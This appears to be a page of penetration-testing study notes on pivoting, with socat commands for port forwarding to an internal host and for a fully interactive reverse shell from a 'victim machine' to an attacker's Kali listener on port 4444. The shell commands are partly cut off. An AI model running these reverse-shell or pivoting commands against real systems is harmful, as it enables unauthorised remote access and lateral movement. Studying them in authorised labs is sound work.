x

Port Forwarding with Linux Tools

https://www.ivoidwarranties.tech/posts/pentesting-tuts/pivoting/pivoting-basics/

19.1.2 - Port forwarding with socat

Running a port forward socat command (verbose, listening on 2345, forwarding traffic to 5432 on the target)

socat -ddd TCP-LISTEN:2345,fork TCP:10.4.50.215:5432

19.1.2 - Fully interactive shell

On victim machine

'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.49.71:4444

On Kali

`tty`,raw,echo=0 tcp-listen:4444 
Left-click: follow link, Right-click: select node, Scroll: zoom
x